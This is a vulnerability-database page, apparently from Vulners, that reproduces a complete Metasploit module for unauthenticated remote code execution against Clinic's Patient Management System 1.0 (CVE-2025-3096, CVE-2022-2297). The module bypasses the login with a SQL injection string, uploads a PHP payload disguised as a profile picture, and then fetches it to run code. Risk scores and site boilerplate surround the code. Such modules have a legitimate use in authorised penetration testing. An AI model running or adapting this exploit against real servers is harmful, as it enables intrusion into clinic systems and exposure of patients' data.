Lucene search
K

Clinic's Patient Management System 1.0 - Unauthenticated RCE

🗓️ 21 May 2025 18:53:30Reported by msutovsky-r7, Ashish KumarType 
metasploit
 metasploit
🔗 www.rapid7.com👁 344 Views

Exploits SQL injection in login to gain admin access and upload files for remote code execution.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  # include Msf::Post::File
  include Msf::Auxiliary::Report
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
        'Description' => %q{
          This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
        },
        'Author' => [
          'msutovsky-r7', # CVE-2025-3096, module developer
          'Ashish Kumar' # CVE-2022-2297
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Privileged' => false,
        'Targets' => [
          ['Clinic Patient Management System 2.0', {}]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['CVE', '2022-2297'],
          ['CVE', '2025-3096'],
          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
        ],
        'DisclosureDate' => '2025-01-04',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
    ])
  end

  def check
    print_status('Checking if target is vulnerable...')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })

    return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
    return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
    return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")

    return Exploit::CheckCode::Appears('Clinic PMS detected')
  end

  def login_sqli
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' =>
      {
        user_name: "' or '1'='1' LIMIT 1;--",
        password: '',
        login: ''
      }
    })

    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')

    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
    print_status('Logged using SQL injection..')
  end

  def upload_payload
    username = Rex::Text.rand_text_alphanumeric(8)
    password = Rex::Text.rand_text_alphanumeric(8)
    filename = Rex::Text.rand_text_alphanumeric(8) + '.php'

    boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"

    data_post = "--#{boundary}\r\n"
    data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
    data_post << "1\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
    data_post << "#{username}\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
    data_post << "#{username}\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
    data_post << "#{password}\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
    data_post << "Content-Type: application/x-php\r\n\r\n"
    data_post << "#{payload.encoded}\r\n"
    data_post << "--#{boundary}\r\n"

    data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
    data_post << "\r\n"
    data_post << "--#{boundary}--\r\n"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'update_user.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'vars_get' =>
      {
        'user_id' => '1'
      },
      'data' => data_post
    })

    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

    fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
    print_status('Malicious file uploaded..')
  end

  def logout
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path + 'logout.php'),
      'method' => 'GET'
    })
    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')

    fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
    print_status('Logged out..')
    @cookie_jar.clear
  end

  def trigger_payload
    logout
    login_sqli

    print_status('Reporting vulnerability')
    report_vuln(
      host: datastore['RHOSTS'],
      name: name,
      refs: references,
      info: 'The target is vulnerable to CVE-2025-3096.'
    )

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/update_user.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' =>
      {
        'user_id' => '1'
      }
    })

    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
    fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
    html_document = res.get_html_document
    payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text

    fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?

    register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, payload_path),
      'method' => 'GET',
      'keep_cookies' => true
    })
  end

  def exploit
    login_sqli
    upload_payload
    trigger_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Jun 2026 18:58Current
7.3High risk
Vulners AI Score7.3
CVSS 26.5
CVSS 3.19.8
CVSS 49.3
EPSS0.90334
SSVC
344